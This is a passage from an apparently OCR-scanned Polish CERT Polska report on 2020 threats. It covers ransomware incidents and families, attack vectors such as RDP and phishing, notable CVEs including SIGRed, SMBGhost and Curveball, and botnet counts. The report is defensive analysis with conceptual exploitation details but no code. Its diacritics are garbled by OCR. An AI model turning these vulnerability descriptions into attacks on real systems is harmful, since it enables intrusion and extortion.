dostata sie do sieci firmy prawniczej Grubman
Shire Meiselas & Sacks. Kwota okupu opiewata
na 21 milionéw dolaréw, jednak podwoita sie
po odkryciu, ze wsrod skradzionych plikow
znajdujg sie te dotyczgce prezydenta USA
Donalda Trumpa. Za radg FBI GSMS odmowita
zaptacenia okupu. Wyciekty prywatne dane
dotyczace wielu gwiazd show biznesu, takich
jak Lady Gaga, Madonna, Bruce Springsteen,
czy Elton John7e.

Communications & Power Industries

Do najbardziej znaczgcych incydentow z opro-
gramowaniem ransomware niewgtpliwie nale-
zat czerwcowy atak na kalifornijskiego wytwor-
ce komponentow elektronicznych dla sektora
obronnego i komunikacyjnego, Communication
& Power Industries. Do incydentu doszto, po-
niewaz uzytkownik z uprawnieniami admina
domenowego padt ofiarg ataku phishingowego.
Wynikiem byto zaszyfrowanie okoto 150 kom-
puterow dziatajgcych pod kontrolg systemu
operacyjnego Windows XP (ktéry nie jest juz
wspierany przez producenta i nie otrzymuje
tatek bezpieczenstwa)80. Przedsiebiorstwo
zaptacito 500 000 dolaréw okupu.

Magellan Health

W kwietniu ransomware uderzyt w jedng
z najbogatszych amerykanskich spotek dzia-
tajgcych w sektorze zdrowotnym — Magellan
Health z Arizony. Wyciekty poufne dane dzie-
sigtek tysiecy pacjentow. Wektorem byt atak
socjotechniczny polegajgcy na podszyciu sie
pod jednego z pacjentow.
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University of California San Francisco (UCSF)

W sektorze edukacji jeden z gtosniejszych
incydentow z ransomware w roli gtéwnej miat
miejsce na kalifornijskim uniwersytecie UCSF.
Za atak odpowiedzialna byta grupa Netwalker.
Zaszyfrowano m.in. dane zwigzane z istotnymi
badaniami prowadzonymi w instytucji. Uni-
wersytet zdecydowat sie zaptacic okup w wy-
sokosci 1.14 miliona dolaréw, za co otrzymat

program deszyfrujgcy.

Advantech

21 listopada w wyniku zaszyfrowania i kradzie-
zy danych ucierpiat tajwanski gigant techno-
logiczny Advantech. Operatorzy ransomware
z rodziny Conti zazgdali okupu w wysokosci
750 bitcoinow, ktére w tamtym momencie byty
warte ok. 12,6 miliona dolaréw. Firma zdecydo-
wata sie nie ptaci¢ okupu, dlatego przestepcy
wystosowali grozbe upublicznienia wykradzio-
nych danych. Mimo to Advantech nie zaptacit
I dane rzeczywiscie zostaty upubliczniones?.

CWT Global

W branzy turystycznej, bardzo nadwyrezonej
globalng pandemig, rowniez dochodzito
do udanych atakéw ransomware. Najbardziej
znaczgcy incydent w turystyce w 2020 r.
miat miejsce 30 lipca i dotyczyt duzego biura
podrézy CWT. Na samg sptate okupu agencja
przeznaczyta 4,5 miliona dolaréw. Skutkiem
ataku byt rowniez wyciek dwoch terabajtow
danych zawierajgcych m.in. dane pracownikow,
raporty finansowe oraz dokumenty dotyczgce
bezpieczenstwas2.

Sektory gospodarki najbardziej do-
tkniete atakami ransomware

Incydenty z wykorzystaniem ransomwa-
re'u dotykaty kazdego sektora gospodarki,
jednak niektore z nich ucierpiaty w wiekszym
stopniu. Dwoma najbardziej poszkodowanymi
sektorami byty ustugi edukacyjne oraz stuzba
zdrowia.

https://www.soprasteria.com/newsroom/press-releases/details/cyberattack-updated-information
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Edukacja

Jednym z najbardziej dotknietych atakami
ransomware sektoréw gospodarki byty ustugi
edukacyjne. Raport CISA i FBI z 2020 r. pokazu-
je, ze w Stanach Zjednoczonych szkoty o pozio-
mie nauczania od przedszkola do 12 klasy byty
najczestszym celem atakéw ransomwaress.
Podwoita sie rowniez liczba takich incydentow
w szkolnictwie wyzszym®84. Przyczyny takiego
stanu rzeczy mogag byc¢ rézne: wcigz niska
Swiadomos¢ uzytkownikéw i administratorow,
zwiekszone mozliwosci przeprowadzenia
ataku w zwigzku ze zdalnym nauczaniem czy,
zwitaszcza w przypadku szkot wyzszych, skom-
plikowana i zdecentralizowana infrastruktura IT.

Stuzba zdrowia

Stuzba zdrowia, wedtug raportu firmy PaloAlto,
byta najczestszym celem atakow ransomware
w 2020 r.85 Dzieje sie tak, poniewaz placowki
opieki medycznej zmagajg sie z rosngcg licz-
bag przypadkéw COVID-19. Ratowanie zycia
pacjentow jest priorytetem, dlatego szpitale
chetniej decydujg sie na zaptacenie okupu
niz miato to miejsce wczesniej8é. Operatorzy
niektorych rodzin malware atakowali sektor
stuzby zdrowia z petng bezwzglednoscia.
Szacuje sie, ze ransomware Ryuk odpowiada
za ok. 75 proc. infekcji ransomware w stuzbie
zdrowia. Operatorzy innych rodzin zdecydo-
wali, ze wesprg stuzbe zdrowia i nie bedg jej
atakowac. Tak postgpita grupa odpowiedzialna
za ransomware Maze8’. Grupa operatorow
DoppelPaymer stwierdzita nawet, ze unikanie
infekowania placowek medycznych jest ich
standardowg praktyka.

Inne sektory

Wsrod sektorow najbardziej dotknietych ataka-
mi ransomware w 2020 r. znalazty sie rowniez:

+ przemyst wytworczy,
« ustugi T,

+ ustugi prawne.
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Podobnie jak w zesztym roku widoczny byt
wzrostowy trend odsetka organizacji prywat-
nych w ogdle organizacji atakowanych przez
ransomware.

Najbardziej widoczne rodziny

W 2020 r. na scenie ransomware dziatato wiele
rodzin. Niektore z nich wyrdzniaty sie sposrod
innych skutecznoscig, skalg lub pomystowo-
Scig rozwigzan.

Maze

Po raz pierwszy zauwazony w maju 2019 r.88,
wprowadzit wiele nowosci na scenie ransom-
ware. Przede wszystkim, operatorzy wprowa-
dzili nowg metode wymuszania okupu: jesli
ofiara nie chciata zaptacic, byta szantazowana
ujawnieniem wczesniej wyeksfiltrowanych
danych. Maze jest wariantem ransomware
ChaCha i uzywat dosc¢ prymitywnych metod
ataku — phishingu oraz wykorzystanie stabo
zabezpieczonych portéw RDP. Ciekawostkg
jest to, ze grupa odpowiedzialna za te rodzine
uwazata, ze ,edukuje” atakowane organizacje.
W listopadzie, wedtug BleepingComputer,
grupa odpowiedzialna za Maze ogtosita koniec
dziatalnoscis®.

Revil/Sodinokobi

Revil jest rodzing znang ze swojej skutecz-
nosci. W 2020 r. udato sie nig zainfekowac
wiele duzych organizacji. Pojawienie sie tej
rodziny zaobserwowano niemal w tym samym
czasie, co ransomware Maze. Podejrzewa sie,
ze za Revilem kryjg sie ci sami aktorzy, ktorzy
dystrybuowali w 2019 r. jedng z najbardzie;
aktywnych rodzin — GandCrab®0. Do gtownych
wektorow ataku tej rodziny mozna zaliczyc
maile phishingowe, wykorzystywanie stabo
zabezpieczonych RDP oraz niezatatanych
VPN-6w. Juz na poczgtku 2020 r. grupa zaczeta
korzystac¢ z metody podwojnego wymuszenia
wprowadzonej przez operatorow Maze.

https://thejournal.com/articles/2020/12/11/k12-has-become-the-most-targeted-segment-for-ransomware.aspx
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Netwalker

Liczba infekcji rodzing Netwalker skoczyta
drastycznie dzieki zastosowaniu przez jej
tworcow modelu RaaS (ang. ransomware as
a service)91. Oznacza to, ze przestepcy, ktérzy
stworzyli te rodzine zaczeli wynajmowac innym
przestepcom swoje narzedzia oraz infrastruk-
ture. Rodzina ta jest odpowiedzialna za wiele
duzych i gtosnych infekcji ransomware, m.in.
opisywany wczesniej przypadek kalifornijskiego
uniwersytetu. Jednym z gtdwnych obszarow
atakowanych przez te rodzine byt sektor me-
dyczny (stuzba zdrowia). Na poczatku 2021 .
kanadyjska policja odniosta znaczgcy sukces,
poniewaz aresztowano osobe podejrzang
za liczne wymuszenia, na kwote ponad 25 min
dolaréw, oraz zamknieto dostep do znajdujace;
sie w sieci Tor strony, ktéra umozliwiata opera-
torom kontakt z ofiarami.?2

Phobos

Phobos jest obecny na rynku poczgwszy od
grudnia 2018 . i liczba infekcji tg rodzing wcigz
utrzymuje sie na stosunkowo wysokim pozio-
mie. Wykorzystuje standardowe wektory ataku
— maile phishingowe oraz stabo zabezpieczone
potgczenia RDP. Grupa stojgca za Phobosem,
pomimo dtugiego dziatania w branzy, wydaje
sie by¢ mniej zorganizowana i profesjonalna
niz konkurencja®s.

Ryuk

Szacuje sie, ze ransomware Ryuk, oprocz
niechlubnej specjalizacji w atakowaniu stuzby
zdrowia, odpowiedzialny jest za ok. jedng
trzecig wszystkich infekcji ransomware’'em.%4
Poza standardowymi, wykorzystywanymi
przez reszte wektorami ataku, Ryuk byt chetnie
stosowany jako kolejna faza wtamania po za-
infekowaniu innym typem ztosliwego oprogra-
mowania (np. Trickbot czy Emotet).

Gtéwne wektory ataku

Najczestszymi sposobami ataku, wykorzysty-
wanymi przez przestepcow, byty nieautoryzo-
wane wykorzystanie zle zabezpieczonej ustugi
dostepu zdalnego (w szczegdlnosci RDP) oraz
klasyczny phishing, naktaniajgcy ofiare do po-

brania i uruchomienia ztosliwego pliku.
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Ataki na RDP

RDP (ang. Remote Desktop Protocol), czyli
protokot zaprojektowany przez firme Micro-
soft w celu zdalnego tgczenia sie z innymi
komputerami z udostepnieniem ich pulpitu, byt
chetnie wykorzystywany przez przestepcow
do infekowania komputeréw oprogramowa-
niem ransomware.

Dwa gtowne sposoby doprowadzenia do in-
fekcji to wyszukiwanie otwartych portow RDP
przy pomocy powszechnie dostepnych narze-
dzi skanujgcych, takich jak Shodan oraz, jesli
potgczenie jest zabezpieczone hastem, proba
odgadniecia hasta poprzez atak stownikowy
lub bruteforce.

Kiedy uda sie uzyskac zdalny dostep do sys-
temu, operator recznie umieszcza i uruchamia
tam ztosliwe oprogramowanie. Przy okazji infe-
kowania systemu, przestepca zwykle stara sie
wytaczy¢ mozliwie jak najwiecej zabezpieczen.

Phishing

Klasyczny wektor ataku polegajgcy na wystaniu
wiadomosci e-mail majgcej sktoni¢ uzytkowni-
ka do odwiedzenia okreslonego linku i pobrania
ztosliwego oprogramowania lub otworzenia
ztosliwego oprogramowania dotgczonego
w formie zatgcznika. Bardzo czesto zdarza sie,
ze ransomware w takich atakach jest dostar-
czany dopiero w drugiej fazie infekcji.

Podatnosci w oprogramowaniu

Dystrybutorzy ransomware w 2020 r. wykorzy-
stywali podatnosci zwigzane z infrastrukturg
zdalnego dostepu czy sieciami VPN. Drugg
mtodosc¢ przezyta rowniez podatnosc sprzed
ponad 10 lat, dotyczaca oprogramowania Mi-
crosoft Office.

CVE-2019-19781

Juz na poczgtku 2020 r. zaobserwowano
masowe wykorzystanie podatnosci zwigzanej
z rozwigzaniami Citrix ADC (dostarczanie
aplikacji w chmurze) oraz Citrix Gateway (za-
pewnianie zdalnego dostepu do sieci) w celu
infekowania urzgdzen ransomware'em.9 Jest
to podatnos¢ RCE (ang. remote code execu-

https://www.csa.gov.sg/singcert/publications/revil-unravelled
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tion), ktéra umozliwia zdalne wykonanie dowol-
nego kodu. Eksploitacja wymaga uzycia path
traversal, czyli stosunkowo prostej techniki
polegajacej na odpowiednim manipulowaniu
Sciezkami przekazywanymi do aplikacji (zwykle
za pomocg uzycia znakéw slasha i kropek).
W ten sposob dystrybuowany byt ransomware
z rodziny Ragnarok.

CVE-2019-11510

Krytyczna podatnos¢ w oprogramowaniu Pulse
Secure VPN, umozliwiajgca uzytkownikom bez
konta i hasta dostep do sieci korporacyjnej, byta
wykorzystywana przez grupe dystrybuujgca
ransomware Revil.96 Schemat ataku byt za-
wsze podobny: po uzyskaniu dostepu do sieci
i zdobyciu uprawnien admina domenowego,
przestepcy instalowali na stacjach oprogramo-
wanie klienckie dla protokotu VNC, a nastepnie
wytgczali zabezpieczenia, by na koncu pobrac
i uruchomic¢ ransomware na przejetych kompu-
terach.

CVE 2012-0158

Ciekawym przypadkiem byty liczne infekcje
placowek stuzby zdrowia z wykorzystaniem
bardzo starej podatnosci typu Buffer Overflow
w oprogramowaniu Microsoft Office. Otworze-
nie przez uzytkownika specjalnie spreparowa-
nych dokumentow w formacie DOC lub RTF
powodowato wykonanie kodu, ktéry pobierat
ransomware. Pierwszym punktem wejscia byt
phishing — pracownicy stuzby zdrowia otrzy-
mywali wiadomosci e-mail pochodzace od
przestepcy podszywajgcego sie pod Swiatowa
Organizacje zdrowia WHO.

Ewolucja ransomware w 2020

W 2020 r. grupy przestepcze odpowiedzialne
za ataki ransomware dokonaty znaczgcego
postepu — staty sie lepiej zorganizowane
i bardziej profesjonalne. Kontynuowany jest
trend sprzedazy ztosliwego oprogramowania
w modelu RaaS (ang. ransomware as a servi-
ce). Oprécz szyfrowania dyskéw ransomware
obecnie eksfiltruje rowniez wrazliwe dane.
Ponadto ransomware zaczat atakowac¢ nowe
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systemy operacyjne, chociaz prym wcigz wiodg
ransomware'y przeznaczone dla systemu Mi-
crosoft Windows.

RaaS

RaaS to typowo biznesowe podejscie grup
przestepczych do dystrybucji ransomware.
Jedna grupa przestepcza sprzedaje swoj pro-
dukt (oprogramowanie ransomware, narzedzia,
infrastrukture) innej grupie przestepczej, ktéra
moze nie posiadac wiedzy technicznej. Produkt
dostarczany jest nierzadko ze wsparciem biz-
nesowym, czesto rowniez w formie subskrypcji
(np. miesiecznej). Zazwyczaj oferty RaaS
mozna znalez¢ w sieci Tor. Jest to niezwykle
niebezpieczne zjawisko — pozwala bowiem zu-
petnie niezorientowanym technicznie osobom
w tatwy, szybki i profesjonalny sposob wejs¢
do branzy cyberprzestepczosci.

Eksfiltracja danych

Zjawisko wprowadzone przez operatorow
ransomware Maze polegajgce na eksfiltracji
danych przed ich zaszyfrowaniem, a nastep-
nie szantazowaniu ofiary upublicznieniem
skradzionych informacji. Ten sposob dziatania
szybko zaadaptowaty inne grupy przestepcze,
przez co podwojne wymuszenia upowszech-
nity sie na przestrzeni 2020 r. Niejednokrotnie
zdarzyto sie, ze dane szantazowanej ofiary fak-
tycznie byty upubliczniane. Zaptacenie okupu
nie zawsze oznaczato koniec ktopotéw: infor-
macje na temat ofiar ransomware NetWalker
byty upubliczniane pomimo zaptacenia okupu.

Nowe systemy operacyjne

Coraz czesciej zdarza sie, ze ransomware
atakuje nie tylko urzgdzenia dziatajgce
pod kontrolg systemu operacyjnego Windows,
ale rowniez inne systemy (w 2020 r. pojawit sie
m.in. MailLocker®7, ransomware przeznaczony
do ataku na urzgdzenia mobilne z systemem
Android). Flagowym tego przyktadem jest
ransomware RansomEXX, ktory zostat przez
tworcow skompilowany w wersji na system
Linux. Wedtug raportu firmy Kaspersky?98, jest
on wykorzystywany wytgcznie w atakach ukie-
runkowanych na konkretne organizacje.

https://www.fireeye.com/blog/threat-research/2020/01/nice-try-501-ransomware-not-implemented.html

96

https://doublepulsar.com/big-game-ransomware-being-delivered-to-organisations-via-pulse-secure-vpn-bd01b791a-

ad9
97

https://www.microsoft.com/security/blog/2020/10/08/sophisticated-new-android-malware-marks-the-latest-evolu-

tion-of-mobile-ransomware/

98
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W tej czesci raportu przedstawiamy subiektyw-
ny wybor najbardziej znaczgcych podatnosci
ujawnionych w 2020 .

Podatnosci i problemy z prywatnoscia
w narzedziach do telekonferencji i
pracy zdalnej

Zmiana sposobu pracy w zwigzku z wybuchem
pandemii wirusa COVID-19 znaczgco przyspie-
szyta wdrozenie w procesy biznesowe narzedzi
do pracy zdalnej i telekonferencji. Praca z Zo-
omem, Microsoft Teams i Cisco WebEx staty
sie codziennosciag na firmowych komputerach,
niezaleznie od branzy.

Najpopularniejsze narzedzie do telekon-
ferencji, Zoom, borykato sie z najwiekszg
liczbg problemow. Badacze bezpieczenstwa
odkryli problemy zaréwno z szyfrowaniem
wiadomosci na urzgdzeniach klienckich, zle
zabezpieczong infrastrukturg, problemami
z uwierzytelnianiem oraz zdalnymi wyciekami
pamieci z produkcyjnego serwera ustugi®®.
Dodatkowo, na systemach Windows w wersji 7

99 https://mazinahmed.net/blog/hacking-zoom/

i nizszych, mozliwe byto zdalne wykonanie
kodu na komputerze kliental90. Znaczgcym pro-
blemem okazata sie komunikacja odkrywcow
luk z przedstawicielami Zooma odpowiedzial-
nymi za bezpieczenstwo — btedy byty tatane
“po cichu” lub nie tatane wcale, bez wymiany
informacji z badaczamio,

Z naszej perspektywy najciekawszg podatno-
Scig byta niewatpliwie mozliwos¢ spowodowa-
nia zdalnego wycieku pamieci na serwerach
produkcyjnych obstugujgcych klientéw Zoom.
Jest to doktadny funkcjonalny odpowiednik
podatnosci “Heartbleed” CVE-2014-0160102,
De facto nie byt to btgd Zooma, tylko zewnetrz-
nej biblioteki ImageMagick wykorzystywanej
do przetwarzania avatarow uzytkownikow
(CVE-2017-15277). Odpowiednio przygotowany
obrazek w formacie GIF, zwracat po przetwo-
rzeniu przez serwer “surowe bajty” pamieci
dziatajgcego procesu w pliku avatara. Badacz
do odkrycia problemu wykorzystat technike
fuzzingu, czyli automatycznych testow bez-
pieczenstwa przeprowadzanych poprzez
generowanie losowych danych i wstrzykiwanie
ich do aplikacji celem przetworzenia i potencjal-
nego ataku.

100 https://blog.0patch.com/2020/07/remote-code-execution-vulnerability-in.html

101 https://blog.rapid7.com/2020/04/02/dispelling-zoom-bugbears-what-you-need-to-know-about-the-latest-zoom-vul-

nerabilities/
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Rys. 84. Spreparowany obrazek stuzacy do ataku serweréw Zooma. Zrédto: mazinahmed.net

Microsoft Teams miat rowniez problemy
w obstudze plikow GIF, ktore w przeciwienstwie
do Zooma, atakowaty klienta. Problem polegat
na mozliwosci kradziezy tokendw uwierzytel-
niajgcych, stuzgcych do pobierania zasobow
z serwerow Microsoft obstugujgcych Teams
i Skype103.

Ofiara otrzymujac ztosliwy plik za pomoca
komunikatora, wysytata zawartos¢ swoich pli-
kow cookie do serwera kontrolowanego przez
atakujgcego. Tokeny byty ograniczone do wyko-
rzystania we wszystkich subdomenach teams.
microsoft.com. Taka konfiguracja jest poza-
dana, aczkolwiek badaczom udato sie znalez¢
dwie Zle skonfigurowane subdomeny, ktorych
przejecie byto mozliwe1%4: aadsync-test.teams.
microsoft.com oraz data-dev.teams.microsoft.
com. Podatnos¢ byta o tyle ciekawa, ze ata-
kujgcy mogtby jg bez problemu wykorzystac
do automatycznej propagacji pobierajgc liste
kontaktow ofiary, zupetnie jak robaki sieciowe
kilkanascie lat temu.

103 https://www.cyberark.com/resources/threat-research-blog/beware-of-the-gif-account-takeover-vulnerability-in-mi-
crosoft-teams
https://developer.mozilla.org/en-US/docs/Web/Security/Subdomain_takeovers 144
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MICROSOFT TEAMS ATTACK WORKFLOW

Attacker sends a malicious o
GIF to first victim

i
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Rys. 85. Schemat ataku na aplikacje Microsoft Teams. Zrédto: cyberark.com

Podatnosci w ustudze Remote
Desktop

14 stycznia Microsoft opublikowat pierwszy
w 2020 r. zestaw poprawek bezpieczenstwa dla
swoich produktow. Na liscie znalazty sie dwie
krytyczne podatnosci dotyczgce ustugi Remote
Desktop: CVE-2020-0609 oraz CVE-2020-0610.
Obydwie pozwalajg na zdalne wykonanie kodu
na serwerze Remote Desktop Gateway (RDG).
Rolg serwera RDG w ekosystemie dostepu zdal-
nego do srodowisk Microsoft jest zapewnienie
posrednictwa pomiedzy klientami z internetu
a siecig wewnetrzna.

Podatnosci byty zlokalizowane w funkcji odpo-
wiedzialnej za obstuge ruchu poprzez protokot
UDP. Serwery RDG wykorzystujgce UDP za-
pewniajg mozliwos¢ podziatu dtugich zapytan
na mniejsze i umieszczenie ich w oddzielnych
datagramach, ktére moga docierac¢ do nich
w dowolnej kolejnosci. Funkcja odpowiedzialna
za obstuge ruchu UDP ma za zadanie scali¢
te fragmenty w jedno zapytanie i umiescic je
w prawidtowej kolejnosci. Aby byto to mozliwe,
kazdy z datagramoéw zawiera informacje doty-
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czgce pozycji danego fragmentu w zapytaniu,
catkowitej liczby fragmentow sktadajgcych sie
na zapytanie czy dtugosci danych wchodzg-
cych w sktad danego fragmentu.

Jedna z omawianych podatnosci dotyczy
niepoprawnego sprawdzania rozmiaru alokacji
pamieci dla danego zapytania przed umiesz-
czeniem tam kolejnego fragmentu danych.
Mamy tu do czynienia z podatnoscig prze-
petnienia bufora na stercie. W tym przypadku
rowniez pozwala ona na doktadng kontrole
miejsca, w ktérym zostang zapisane dane
nalezgce do fragmentu, a nie tylko na kontrole
rozmiaru zapisywanych danych — co czyni jg
bardzo przydatng z perspektywy atakujgcego.

Druga z podatnosci wykorzystuje wadliwy
sposob odnotowywania faktu otrzymania frag-
mentu zapytania. Tablica przechowujgca flagi
Sledzgce otrzymanie fragmentu ma ustalong
liczbe pozycji, natomiast atakujgcy ma mozli-
wos¢ wystania datagramu z dowolnie ustawio-
ng wartoscig pozycji danego fragmentu. W ten
sposoéb jest w stanie ustawi¢ wartosé 1 (true),
ktéra odpowiada 32-bitowej liczbie catkowitej
bez znaku, w dowolnym miejscu poza tg tablica.



Podatnos¢ w bibliotece kryptogra-
ficznej Windows CVE-2020-601
“Curveball”

Luka ta jest szeroko komentowana wsrod
spotecznosci zwigzanej z bezpieczenstwem
IT — jej odkrywcg byta amerykanska NSA (Na-
tional Security Agency), ktéra jest znana z wy-
korzystywania luk O-day w ramach aktywnosci
wywiadowczych. Podatnos¢ w bibliotece ob-
stugujgcej kryptografie na platformie Windows
umozliwiata takie sfatszowanie certyfikatu, aby
ten zostat uznany za zaufany przez system
operacyjny. Przyczyng tego problemu jest btgd
w implementacji kryptografii opartej o krzywe
eliptyczne. Btedem obarczone byty tylko wersje
Windows 10 oraz powigzane z Windows Server
(2016/2019).

nask CERT.PLO-

Kod Microsoft nie weryfikowat wszystkich para-
metréw nalezacych do krzywej, co umozliwiato
napastnikowi dostarczenie wtasnego parame-
tru generatora. Logika zaimplementowana
w Windows w takim przypadku weryfikowata
generator z certyfikatu MicrosoftECCProduc-
tRootCertificateAuthority.cer, ktory domysinie
jest zaufany i wszystko co z nim zwigzane jest
rowniez zaufane — w ten sposob ztosliwy uzyt-
kownik mogt z powodzeniem zweryfikowac
dowolny certyfikat SSL lub podpis cyfrowy
oprogramowania.

National Security Agency @ Cybersecurity Advisory

Patch Critical Cryptographic Vulnerability in Microsoft Windows

Clients and Servers

Summary

NSA has discovered a critical vulnerability (CVE-2020-0601) affecting Microsoft Windows®' cryptographic functionality.
The certificate validation vulnerability allows an attacker to undermine how Windows verifies cryptographic trust and can
enable remote code execution. The vulnerability affects Windows 10 and Windows Server 2016/2019 as well as
applications that rely on Windows for trust functionality. Exploitation of the vulnerability allows attackers to defeat trusted
network connections and deliver executable code while appearing as legitimately trusted entities. Examples where
validation of trust may be impacted include:

o HTTPS connections
o Signed files and emails
o Signed executable code launched as user-mode processes

The vulnerability places Windows endpoints at risk to a broad range of exploitation vectors. NSA assesses the
vulnerability to be severe and that sophisticated cyber actors will understand the underlying flaw very quickly and, if
exploited, would render the previously mentioned platforms as fundamentally vulnerable. The consequences of not
patching the vulnerability are severe and widespread. Remote exploitation tools will likely be made quickly and widely
available. Rapid adoption of the patch is the only known mitigation at this time and should be the primary focus for all
network owners.

Rys. 86. Informacja NSA na temat CVE-2020-601. Zrédto: defense.gov
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Podatnosé w DNS Windows
CVE-2020-1350 \ SIGRed

SIGRed byt krytyczng podatnoscig (CVSS
10/10) dotykajgcg systeméw Windows Server
od wersji 2003 do 2019. Swojg nazwe zawdzie-
cza typowi odpowiedzi SIG, ktory jest uzywany
do zapewnienia funkcjonalnosci DNSSEC.

Luka wykryta w mechanizmie serwera DNS
systemow Windows Server polega na btednej
logice przetwarzania odpowiedzi SIG z rekor-
dami DNS. Odpowiednio spreparowany rekord
DNS moze spowodowac nadpisanie pamieci
procesu z ustugg DNS. Luka wystepowata
w funkcji dns.exe!SigWireRead i byta proble-
mem przepetnienia typu catkowitego, skutku-
jacym zapisem poza buforem zaalokowanym
na stercie.

Pomyslna exploitacja podatnosci pozwala
atakujgcemu na wykonanie dostarczonego
kodu w systemie z uprawnieniami uzytkownika
Local System. Skutkuje to przejeciem kontroli
nad catym systemem. W korporacyjnych archi-
tekturach ten sam serwer DNS bardzo czesto
jest rowniez kontrolerem domeny, co wigze sie
z uzyskaniem przez atakujgcego praw admini-
stratora domeny.

Do przeprowadzenia ataku wystarczyto na-
ktonienie podatnego serwera do rozwigzania
nazwy domenowej z odpowiednio sprepa-
rowanym przez atakujgcego rekordem DNS.
Wystgpic¢ z zgdaniem o rozwigzanie ztosliwej
nazwy domenowej moze dowolna z ustug
dziatajgcych na serwerze (np. serwer WWW)
albo jakikolwiek z komputeréw w organizacji,
ktory jako serwer DNS ustawiony ma podatny
serwer. Uzytkownik zupetnie nieSwiadomie
klikajgc linka w mailu moze wykonac ztosliwe
zgdanie DNS.

SMB Ghost, czyli CVE-2020-0796

SMB Ghost to problem majgcy swoje poczatki
w logice przetwarzania protokotu Server Mes-
sage Block 3.0 (SMBv3), ktory jest domysing
metodg komunikacji nowych wersji Windows.
Btad byt powazny, poniewaz do jego wyko-
rzystania nie byto konieczne uwierzytelnienie
sie. Wedtug badaczy, ktérzy odkryli luke, pro-
blem zostat wprowadzony do kodu Windows
w kwietniu 2019 .

Podczas przetwarzania przychodzgcych
pakietow SMBvV3, ktére podlegaty kompresii,
logika weryfikowata nagtowki protokotu Ori-
ginalCompressedSegmentSize oraz Offset/
Length, natomiast nie weryfikowata ich znakow
typu catkowitego05. Pozwalato to atakujgcemu
na manipulacje rozmiarem alokowanego bufo-
ra na dekompresje danych przychodzgcych
i w konsekwencji jego przepetnienie. Dodatko-
wo atakujgcy, ustawiajgc nagtowek protokotu
SMBV3 o0 nazwie ProtocollD jako \xfcSMB mogt
bardzo szybko doprowadzi¢ do wyzwolenia
podatnosci, gdyz taka konfiguracja wymusza
kompresje pakietow z danymi.

Luka wystepowata zaréwno w systemach Win-
dows z linii klienckiej jak i serwerowej. Na dzien
upublicznienia podatnosci badacze sprawdzili
statystyki publicznie dostepnych systemow
z obstugg SMBvV3 w podatnej wersji — za po-
mocg aplikacji Shodan udato sie zlokalizowac¢
ponad 35 tysiecy na catym swiecie. Odpowied-
nio “uzbrojona” luka umozliwiata przeprowa-
dzenie takiego samego ataku jak ransomware
WannaCry, ktéry w 2017 r. zaszyfrowat ponad
300 tysiecy komputerdw106,

105 https://www.mcafee.com/blogs/other-blogs/mcafee-labs/smbghost-analysis-of-cve-2020-0796/

106 https://www.gizmodo.com.au/2017/05/todays-massive-ransomware-attack-was-mostly-preventable-heres-how-to-

-avoid-it/
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W tej czesci raportu prezentujemy statystyki
dotyczgce zdarzen przetwarzanych automa-
tycznie, przede wszystkim z wykorzystaniem
platformy n6107. Dotyczg one podatnych
systemow, prawdopodobnych infekcji lub
skutecznych atakoéw w polskich sieciach, ktore
zostaty wykryte przez automatyczne skanery,
a nastepnie zaraportowane do CERT Polska.
Dane takie sg agregowane, normalizowane
i udostepniane bezptatnie administratorom
witasciwych sieci lub odpowiednim zespotom
CSIRT za pomoca platformy n6.

Ograniczenia

Dotozylismy staran, aby obraz sytuacji, jaki
wynika z prezentowanych statystyk, trafnie
opisywat wszystkie zagrozenia o duzej skali.
Nalezy jednak pamietac, ze majg one pewne
ograniczenia, gtdwnie z uwagi na specyfike
dostepnych danych zrédtowych. Przede
wszystkim nie jest mozliwe zebranie petnej
informacji o wszystkich rodzajach zagrozen,
czego najlepszym przyktadem sg ataki ukie-
runkowane na konkretne podmioty lub grupy
uzytkownikow. Ataki te, w przeciwienstwie
do atakdéw masowych, zazwyczaj nie zostang
zarejestrowane przez nasze systemy monito-
rujgce, ani nie bedg zgtoszone do naszego ze-
spotu. Problem z odwzorowaniem aktualnego
stanu faktycznego jest spowodowany rowniez
tym, ze zagrozenie moze by¢ aktywne — nawet
przez dtuzszy czas — zanim nie zostanie
zbadane i nie rozpocznie sie jego regularna ob-
serwacja. Na przyktad liczba zainfekowanych
komputerow nalezgcych do botnetu moze byc¢
trudna do ustalenia przed jego zneutralizowa-
niem poprzez przejecie infrastruktury sterujgcej
(C&QC). Istotng kwestig pozostaje okreslenie
skali danego zagrozenia, co najczesciej wyko-
nujemy poprzez zliczanie powigzanych z nim
adresow IP zaobserwowanych w ciggu dnia.
Przyjmujemy tym samym zatozenie, ze liczba
adresow jest zblizona do liczby urzadzen lub
uzytkownikow, ktorych dany problem dotyczy.
Oczywiscie jest to miara niedoskonata z racji
powszechnego wykorzystywania dwoch me-
chanizmow, ktére majg wptyw na widoczne
publiczne adresy:

107 https://né.cert.pl/
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- NAT (translacja adreséw), powodujgca
niedoszacowanie, poniewaz za jednym ze-
wnetrznym adresem IP czesto znajduje sie
wiele komputerow,

- DHCP (dynamiczna adresacja), powodujgca
przeszacowanie, poniewaz np. ten sam zain-
fekowany komputer moze w ciggu jednego
dnia zostac wykryty kilkukrotnie z réznymi
adresami.

Mozna podejrzewac, ze wptyw obu tych me-
chanizmow na uzyskane wyniki sumaryczne
w duzej czesci sie znosi, ale doktadne zbadanie
skutkow NAT i DHCP w tym kontekscie wy-
magatoby przeprowadzenia osobnej analizy.
Ostatnia uwaga dotyczy wersji protokotu IP:
wszystkie podane statystyki odnoszg sie
do wersji czwartej tego protokotu. Wynika to
z wcigz niewielkiego stopnia wdrozenia IPv6
W naszym kraju oraz, co sie z tym wigze, z po-
mijalnie matej liczby zgtoszen jakie otrzymuje-
my odnosnie tego rodzaju adresow.

Botnety

W tej czesci raportu prezentujemy dane sta-
tystyczne dotyczgce aktywnosci botnetow.
Nalezy wyraznie podkresli¢, ze dane obejmujg
wytgcznie botnety, ktore sg rozpoznane,
monitorowane oraz dla ktorych otrzymujemy
odpowiednie dane.

Botnety w Polsce

Tabela 3. prezentuje liczbe zainfekowanych
komputeréw w polskich sieciach. W 2020 r.
tgcznie zgromadzilismy informacje o 636 189
adresach IP wykazujgcych aktywnosc¢ zombie.
Stanowi to bardzo zblizong wartosc do tej, jaka
obserwowalismy w 2019,
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Rodzina Maksimum Srednia dzienna Odchylenie

dzienne standardowe
1 andromeda 4 647 2905 690
2 conficker 2199 1698 241
3 gsnatch 2079 1378 475
4 avalanche 1948 1321 370
5 mirai 1623 522 227
6 sality 978 321 165
7 necurs 955 483 248
8 ramnit 916 108 68
9 gamut 892 189 158
10 nymaim 810 196 74

Tab. 3. Najwieksze botnety w Polsce.

W polskich sieciach od lat obserwujemy aktyw-
